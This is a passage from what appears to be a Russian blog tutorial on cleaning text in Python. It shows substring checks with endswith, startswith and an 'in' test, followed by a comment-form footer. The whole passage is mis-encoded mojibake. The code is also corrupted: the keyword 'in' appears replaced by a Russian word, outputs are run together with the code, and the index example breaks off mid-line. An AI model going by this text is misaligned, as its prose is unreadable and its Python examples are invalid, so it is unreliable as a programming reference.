Π»ΠΈΡˆΠ½ΠΈΡ… символов, ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π΅ Π² Π΅Π΄ΠΈΠ½ΠΈΡ‡Π½Ρ‹ΠΉ рСгистр ΠΈ Ρ€Π°Π·Π±ΠΈΡ‚ΡŒ Π΅Π΅ Π½Π° Ρ‚ΠΎΠΊΠ΅Π½Ρ‹.

    10. (Бонус) НайдитС подстроку

    ΠŸΠ΅Ρ€Π΅Π΄ любой Π·Π°Π΄Π°Ρ‡Π΅ΠΉ ΠΏΠΎ очисткС ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π»ΠΈ Π½Π°ΠΌ Π½ΡƒΠΆΠ½Π° очистка.Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв вопрос сводится ΠΊ поиску ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ символа ΠΈΠ»ΠΈ Ρ„Ρ€Π°Π·Ρ‹ Π² тСкстС. Python прСдоставляСт мноТСство Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ для Π½Π°ΡˆΠΈΡ… Ρ†Π΅Π»Π΅ΠΉ.

    ΠšΠΎΠ½Π΅Ρ‡Π½Π°Ρ подстрока:

     test_string.endswith ('dog') Out [1]: True 

    ВСдущая подстрока:

     test_string.startswith ('dog') Out [2]: False 

    ΠžΠ±Ρ‰Π°Ρ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°:

     ' fox ' Π²  test_stringOut [3]: True 

    ΠŸΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ индСкс подстроки:

     test_string.

    Π”ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ

    Π’Π°Ρˆ адрСс email Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½. ΠžΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ поля ΠΏΠΎΠΌΠ΅Ρ‡Π΅Π½Ρ‹ *